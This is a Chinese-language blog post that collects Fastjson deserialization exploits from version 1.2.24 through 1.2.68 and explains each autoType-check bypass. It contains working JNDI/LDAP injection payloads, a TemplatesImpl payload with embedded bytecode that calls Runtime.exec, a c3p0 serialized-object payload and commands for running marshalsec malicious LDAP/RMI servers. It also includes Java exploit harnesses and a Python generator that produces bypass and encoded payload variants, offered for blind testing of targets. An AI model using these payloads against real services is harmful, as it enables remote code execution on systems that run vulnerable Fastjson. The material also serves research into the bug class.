Fastjson 反序列化漏洞总结

Scroll Down

前言

这篇文章主要是汇总和测试Fastjson系列各版本的payload和绕过方式(对于checkAutoType方法的绕过)。对于payload中调用链的分析未涉及(到后面再慢慢研究),总结的目的是理清思路方便查询,也为研究每条调用链理清流程。

测试环境

Fastjson漏洞最终的目的还是通过反序列化来达到RCE,因此这就涉及反序列化的一些基本利用方式:找Gadgets,利用rmi、ldap等远程加载恶意类的服务或组件来触发gadgets。这里Fastjson的利用主要使用rmi和ldap,两种利用方式有jdk的限制

  • RMI:JDK 6u132, JDK 7u122, JDK 8u113之前

  • LDAP:JDK 11.0.18u1917u2016u211之前

LDAP的利用范围更广,因此测试环境使用的是

  • JDK:8u102

  • 利用方式:LDAP

对于LDAP和RMI服务,可以利用marshlsec来起

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/evil

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/evil

漏洞简介

漏洞浅析

先看一个简单的JSON序列化与反序列化的例子

准备一个User类,类似java Bean,有getter和setter,多了一个public String sex属性,且address属性没有getter和setter

package com.diggid;

public class User {
    private String name; //私有属性,有getter、setter方法
    private int age; //私有属性,有getter、setter方法
    private boolean flag; //私有属性,有is、setter方法
    public String sex; //公有属性,无getter、setter方法
    private String address; //私有属性,无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}

测试JSON序列化的类,测试环境是1.2.10

package com.diggid;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test1 {
    public static void main(String[] args) {
        //序列化
        String serializedStr = "{\"@type\":\"com.diggid.User\",\"name\":\"haha\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化,返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

上面的测试样例是在这篇文章中收集的。运行之后可以得到四种情况的结果,简单分析一下

1.JSON.parse(serializedStr);

image-20210410152739171

当使用@type(一种特殊的标志,做了特殊的处理)的情况下,执行了以下操作

  • 调用了构造方法

  • 仅调用了private属性的setter方法

  • 直接给public sex属性(没有getter和setter)赋值了,但是private address属性没有赋值,但是在1.2.22和1.1.54.android之后,增加了一个feature,SupportNonPublicField,有了这个特性,即使没有getter和setter,private属性也会被赋值

2.JSON.parseObject(serializedStr);

image-20210410155727699

这次调用的是parseObject方法,有以下的操作:

  • 比parse方法多调用了private属性的getter方法(注意Boolean类型的是isxxx)

3.JSON.parseObject(serializedStr, Object.class)

image-20210410155926358

这里在parseObject方法后面指定了Object类,其行为和parse方法没有差别,并且返回的对象是一个Object类型的实例

4.JSON.parseObject(serializedStr, User.class)

image-20210410160158598

这里指定了返回类型是User类的对象,需要注意的是,在1.2.25版本之后有checkAutoType的检查,会检查@type指定的类和这里指定的User类是否是继承关系,也就是说,这里要求@type后的类是User类的子类(接口的话是实现关系),但是,我们调用的Gadget中的类肯定无法保证是指定类的子类,因此我们需要绕过。绕过方法是在外层套一层对象,这样就可以绕过类型检查了,像下面这个例子

{
	"rand1: {
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"ldap://localhost:1389/test",
        "autoCommit":true
	}
}

测试链子

这里测试用到的链子是com.sun.rowset.JdbcRowSetImpl这个类的调用,简单的调用流程

com.sun.rowset.JdbcRowSetImpl对象恢复
	com.sun.rowset.JdbcRowSetImpl#setDataSourceName
  	com.sun.rowset.JdbcRowSetImpl#setAutocommit
    	javax.naming.InitialContext#lookup

可以看到,这里通过调用JdbcRowSetImpl类的setter方法,最后到lookup加载指定LDAP地址的恶意类,触发RCE

这个链子对应的payload

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://localhost:1389/test",
    "autoCommit":true
}

改用下面外套一层对象的方式,保证上面所说的四种情况下都能够触发RCE

{
	"rand1: {
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"ldap://localhost:1389/test",
        "autoCommit":true
	}
}

漏洞系列

v <= 1.2.24

防御情况:

  • 默认开启autotype

  • 在1.2.24版本中的ParseConfig类中加了一个denyList的黑名单检测机制,但是只限制了一个java.lang.Thread类

payload:

{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/test", "autoCommit": true}} 

测试类:

package com.diggid;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Exploit {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/test\",\"autoCommit\":true}}";
        //JSON.parse(payload); 
        //JSON.parseObject(payload); 
        JSON.parseObject(payload,Object.class); 
        //JSON.parseObject(payload, User.class);
    }
}

image-20210410163413898

1.2.25 <= v <= 1.2.41

在1.2.25版本之后:

  • autotype默认关闭

  • 完善了黑名单denyList,是字面量的方式将构成一个黑名单字符串数组,且黑名单检测使用startwith来匹配(隐患!)

  • ParseConfig类中增加了checkAutoType方法来对@type后指定的类进行防御,用到了黑名单和白名单的结合和防御方式

1.2.40的检测代码如下:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() >= this.maxTypeNameLength) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            int i;
            String accept;
            // 1.autotype开启,先检测白名单,后黑名单
            if (this.autoTypeSupport || expectClass != null) {
                for(i = 0; i < this.acceptList.length; ++i) {
                    accept = this.acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    accept = this.denyList[i];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
			
            //从Mapping中获取类
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }
			
            //从deserializer获取类
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                // 2.clazz为空,autotype没开启,先黑名单,后白名单
                if (!this.autoTypeSupport) {
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                        return clazz;
                    }

                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                    if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
				
                // 3.autotype没开启,直接跑异常
                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

从上面检测代码可以知道,只要autotype不开启,无论是否过了黑白名单检测,都会报错。当autotype默认关闭后,可以使用下面的代码来开启,意味着我们攻击的目标必须开启autotype我们的payload才能生效。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

假设目标已经开启了autotype,在该阶段产生了对黑名单的绕过,在开启autotype时,只要不在黑名单内,即可进入TypeUtils.loadClass加载类,跟进一下该方法

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }

                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }

                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

注意到这里对类名开头是L,结尾是;的情况做了截取处理后,再次调用该方法获取类名,并在后续的处理中返回,也注意一下对开头是[的情况也做了截取处理(在该版本中用不到,到后面就用到了)。结合前面startWith的黑名单检测,加上L;很容易就可以绕过了。

payload:

{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/test", "autoCommit": true}} 

v = 1.2.42

防御方式:

  • 将黑名单从字面量的字符串数组的方式改为了十进制的hashcode数组,检测方式也变成了hashcode的检测。目的为了隐藏黑名单类,提高研究人员对黑名单类的研究难度,但实际上,由于hashcode的算法是公开的,通过跑maven库或者jar包,可以批量检测出黑名单类,在这个项目里记录了目前已经跑出的黑名单结果

  • 在黑名单检测之前,利用hashcode来检测开头和结尾是否分别是L ;,如果是就截取掉。

long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ 	(long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
	className = className.substring(1, className.length() - 1);
}

直接双写LL和;;绕过即可

payload:

{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/test", "autoCommit": true}}

v = 1.2.43

防御方式:

  • 修复了1.2.42的对于L;的判断逻辑,如果类满足L开头,;结尾,则进入一层if,再判断类是否以LL开头。这种方式就完全封堵了LL;;方式的绕过
            //判断L;
			if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                判断LL
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

但是注意到前面说在loadclass方法中的对于[的特殊处理

else if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}

该方法会返回一个数组对象,跟踪一下调用栈发现,的确是把后面的JSON内容当做数组来处理了,处理的方法调用的是parseArray

image-20210410174114857

至于这里的payload如何构造,和Fastjson解析标志位的过程有关,具体的处理在parseObject方法中,payload可构造如下形式

payload:

{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/test","autoCommit":true}}

解析完@type的值后,判断后面的标志位是否是[,如果是则将lexer的token从12变为14,这样才有后面的parseArray的处理。

测试:

image-20210410185346072

v = 1.2.44

防御方式

  • 修复了1.2.43对于[的绕过,将对于L ;LL的判断删除,改为只要开头出现[或者结尾出现;就报错

image-20210410190101977

至此,对于在开启autoType情况下对于checkAutoType的几种常见变形绕过就封堵完毕了。

1.2.45 <= v <=1.2.46

防御方式

  • 继续增加了黑名单。以下是从上面说到的那个项目中截取出来的已知黑名单

image-20210410190341859

v = 1.2.47

这个时间节点出现了可以通杀1.2.47 >= v >=1.2.25 所有版本的cache型 payload(有一些限制),且不需要开启autoType(开启或不开启都可以,但有细微区别)。

  • autotype未开启:通杀1.2.47 >= v >=1.2.25

  • autotype开启:

    • 1.2.33 <= v <= 1.2.47:直接使用payload即可,不需要组合前面的绕过方式。
    • 1.2.25 <= v <= 1.2.32 : 需要配合1.2.25版本L;绕过变形。

因此,使用1.2.47型payload + 1.2.25型payload一定能通杀所有版本。造成上面差异的原因跟黑名单里的一个判断有关(即是否支持mappings的缓存来绕过黑名单)。

其实早在1.2.33版本已经可以利用下面的payload来RCE了,只是当时还没爆出来,因为在

先给出payload:

注意这里的rand2可以包很多层,和循环解析一个道理

1.2.33 <= v <= 1.2.47
{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/test", 
        "autoCommit": true
    }
}

1.2.25 <= v <= 1.2.32: 对@type变形
{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", 
        "dataSourceName": "ldap://localhost:1389/test", 
        "autoCommit": true
    }
}

简单解析一下该payload的执行流程:

  • 先将端点打在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法的checkAutoType处

image-20210410191842638

我们知道,java.lang.Class是不在黑名单内的,因此可以绕过该检测,过了检测后回到parseObject,后面则是和之前一样需要调用deserializer来解析我们的clazz,也就是java.lang.Class,但是这里的deserializer和之前的不一样,这里是MiscCodec。这个MiscCodec类型的deserializer在后面会对@type对应的val进行缓存

image-20210410192635960

  • 跟进deserialze方法看一下,这里会把val对应的值,也就是我们的恶意类com.sun.rowset.JdbcRowSetImpl先赋值给objVal,再赋值给strVal。

image-20210410193027350

然后对clazz的类型进行了一系列判断,判断其是否是UUID、URI、Pattern、Locale、SimpleDateFormat。不是的话则继续判断其是否是InetAddress、Inet4Address、Inet6Address,都不是的话,则进入该elseif分支,然后再该分支中继续对clazz的类型进行一系列的判断,然后到判断clazz的类型是否是java.lang.Class

image-20210410193536424

进入该分支后,熟悉的调用TypeUtils.loadClass方法来获取strVal,获取完clazz之后一直跟到以下代码

image-20210410195110402

可以看到,使用AppClassLoader来加载我们的恶意类赋值给clazz,注意到后面if(cache)这一步,由于cache默认是true,所以会进入该分支,然后调用mappings.put方法将我们的恶意类存储在mappings中。

  • 然后第一轮解析完毕后,继续解析后面的第二个对象,也就是前面正常的payload,假设开启了autotype,那么会进入第一个autotype开启的黑白名单检测,但是注意到

image-20210410195742764

这里判断满足的条件是在黑名单内,并且这里的typeName也就是恶意类不在mappings当中,**那么尽管我们的恶意类过不了黑名单,但是它在上一轮已经存入到Mappings当中了,因此这里的检测也就绕过了,但是在v <= 1.2.32版本时,在黑名单检测时并没有TypeUtils.getClassFromMapping的判断,因此无法绕过,需要配合前面的变形来绕过(实际上也没必要)。**假设autotype没开启的话,就不会进行第一轮的检测,然后一直到下面

image-20210410194953998

这里和前面几个版本的流程就不太一样了,因为我们之前通过java.lang.Class的绕过在mappings中存入了我们的恶意类,因此这里可以直接通过上面红框的取出来赋值给clazz,然后到后面就直接返回了,没有继续进行后续autotype为false的检测,因此就再一次完成了对checkAutoType的绕过。

但是需要注意一个问题,就是如果在payload中要调用到两个及以上@type来完成攻击链的构造的话,这种绕过方法是不行的。因为第一个@type的值已经和java.lang.Class作为key-value添加到缓存mapping中了,因此第二个mapping无法再使用java.lang.Class为key,因此再继续缓存。也就是说,这要求我们只能利用@type的一个类中的getter和setter方法来构造出一条JNDI的RCE gadget,还是有一些限制的。

测试:

package com.diggid;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Exploit {
    public static void main(String[] args) {
        String payload = "{\"rand1\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, " +
                "\"rand2\": {\"rand1\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": " +
                "\"ldap://localhost:1389/test\", \"autoCommit\": true}}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload,Object.class); //成功
    }
}

1.2.48 <= v <= 1.2.68

防御方式:

  • 1.2.48修复了47版本的绕过,在MiscCodec要调用loadClass来缓存我们恶意类的地方,设置了cache为false,至此,前面的绕过方式也失效了。

  • 在此期间不断增加黑名单,也未出现绕过方式

v >= 1.2.68 至今

防御方式:

  • 在1.2.68版本,直接引入了一个新的机制safemode,开启时,直接屏蔽@type这个特殊的标志符(SpecialKey,除了它还有$ref),由于前面漏洞的成因都是依赖autotype和@type来加载的恶意类,因此开启safemod后以@type来加载恶意类的方式完全失效。

在 v = 12.68中,爆出了可以利用期望类expectClass来绕过checkAutoType,目前攻击面比较大的期望类是AutoClose类,该类是大部分异常类和IO类的父类,因此可以利用该类来找到可以实现任意文件读写的Gadget,但无法利用前面的JNDI注入直接执行任意命令,需要重新挖掘新的Gadget,具体文章可以参见

浅谈下Fastjson的autotype绕过

fastjson 1.2.68 最新版本有限制 autotype bypass

payload 汇总

除了上面说到的com.sun.rowset.JdbcRowImpl利用链之外,还有许多利用链,前两个链子是原生的jdk包链,后面的链子需要依赖

(1)
{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/test",
    "autoCommit": true
  }
}

(2) 这里链子需要开启SupportNonPublicField特性,因为概念没有调用getter和setter,直接给私有属性赋值
{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

(3)
{
  "rand1": {
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://localhost:1389/test"
    }
  }
}

(4)
{
  "rand1": {
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://localhost:1389/test",
    "propertyPath": "foo",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/test"
      ]
    }
  }
}

(5)
{
  "rand1": Set[
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/test"
      ]
    },
    "adviceBeanName": "ldap://localhost:1389/test"
  },
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
  }
]}

(6)
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://localhost:1389/test",
    "loginTimeout": 0
  }
}

(7)
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
  }
}

(8) v = 1.2.62
{
	"rand1": {
		"@type":"org.apache.xbean.propertyeditor.JndiConverter",
		"AsText":"ldap://localhost:1389/test"
	}
}

(9)
{"rand1": {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/test"], "Realms":[""]}}

(10)
{"rand1": {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/test"}}

(11)
{"rand1": {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/test"}}}

总结

以上内容仅仅梳理了FastJson各系列对于@type的利用以及checkAutoType的各种绕过方式,对于FastJson整个反序列化流程仍然需要深入研究一下,以及对于各种RCEpayload所用的Gadgets也需要研究一下。

v1.2.47版本的payload具有通杀性,但是需要注意其对于autotype是否开启的差异。在不知道FastJson版本和jdk版本进行盲打的时候,可以用以下测试顺序

  • jdk版本

    • LDAP:jdk 11.0.1、8u191、7u201、6u211 以下

    • RMI:jdk 6u132、7u122、 8u113 以下

    • 找本地CLASSPATH中的Factory

  • FastJson版本:

    • 1.2.47的cache + L型通杀payload

    • 1.2.47的cache型payload

    • 1.2.43的[型payload

    • 1.2.42及以下的LL型和L型payload

下面这个脚本可以生成以上几种payload(没有包括[型,但基本够用了),修改自@Longofo师傅的这篇文章

#!usr/bin/env python  
# -*- coding:utf-8 -*-

import json,copy
import sys

from json import JSONDecodeError

class FastJsonPayload:
    def __init__(self, base_payload):
        try:
            json.loads(base_payload)
        except JSONDecodeError as ex:
            raise ex
        self.base_payload = base_payload

    def gen_common(self, payload, op, func):
        tmp_payload = json.loads(payload)
        dct_objs = [tmp_payload]

        while len(dct_objs) > 0:
            tmp_objs = []
            for dct_obj in dct_objs:
                tmp_obj = copy.deepcopy(dct_obj)

                for key in tmp_obj:
                    # op < 4 对@type的值进行转换
                    if op < 4:
                        if key == "@type" and tmp_obj[key] != "java.lang.Class":
                            dct_obj[key] = func(dct_obj[key])
                    # op >=4 对所有字符串键值进行转换
                    else:
                        new_key = func(key)
                        dct_obj[new_key] = dct_obj.pop(key)
                        if type(dct_obj[new_key]) == str:
                            dct_obj[new_key] = func(dct_obj[new_key])
                        key = new_key

                    if type(dct_obj[key]) == dict:
                        tmp_objs.append(dct_obj[key])
            dct_objs = tmp_objs
        return json.dumps(tmp_payload)

    # 对@type的value增加L开头,;结尾的payload
    def gen_payload1(self, payload: str):
        return self.gen_common(payload, 1, lambda v: "L" + v + ";")

    # 对@type的value增加LL开头,;;结尾的payload
    def gen_payload2(self, payload: str):
        return self.gen_common(payload, 2, lambda v: "LL" + v + ";;")
    
    # 生成cache绕过payload
    def gen_payload3(self, payload: str):
        load_payload = json.loads(payload)
        cache_payload = {
            "rand1": {
                "@type": "java.lang.Class",
                "val": "%s" % load_payload["rand1"]["@type"]
            }
        }
        cache_payload["rand2"] = load_payload # 包了两层
        return json.dumps(cache_payload)
   
    # 生成 cache + L型 payload
    def gen_payload4(self, payload: str):
        return self.gen_payload3(self.gen_payload1(payload))

    # 对@type的value进行\u
    def gen_payload5(self, payload: str):
        return self.gen_common(payload, 4,
                               lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 对@type的value进行\x
    def gen_payload6(self, payload: str):
        return self.gen_common(payload, 5,
                               lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    def gen(self):

        base_funcs = [self.gen_payload1, self.gen_payload2, self.gen_payload3, 
                self.gen_payload4]

        for func in base_funcs:
            payload = func(self.base_payload)
            yield [payload, self.gen_payload5(payload), self.gen_payload6(payload)]

if __name__ == '__main__':
    try :
        payload = '''{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/test",
    "autoCommit": true
  }
}'''    
        lists = ["L型  1.2.25 <= v <= 1.2.41", 
                "LL型  1.2.25 <= v <= 1.2.42", 
                "cache型  1.2.25 <= v <= 1.2.47(autotype close)",
                "cache+L型  1.2.25 <= v <= 1.2.47(all)"]

        fjp = FastJsonPayload(payload)
        i = 1
        for payloads in fjp.gen():
            print(str(i) + ":" + lists[i - 1], end = "\n\n")
            for p in payloads:
                print(p, end = "\n\n")
            i += 1
    except :
        print('''Usage: Open source code and replace basic payload.''')
        print()
        raise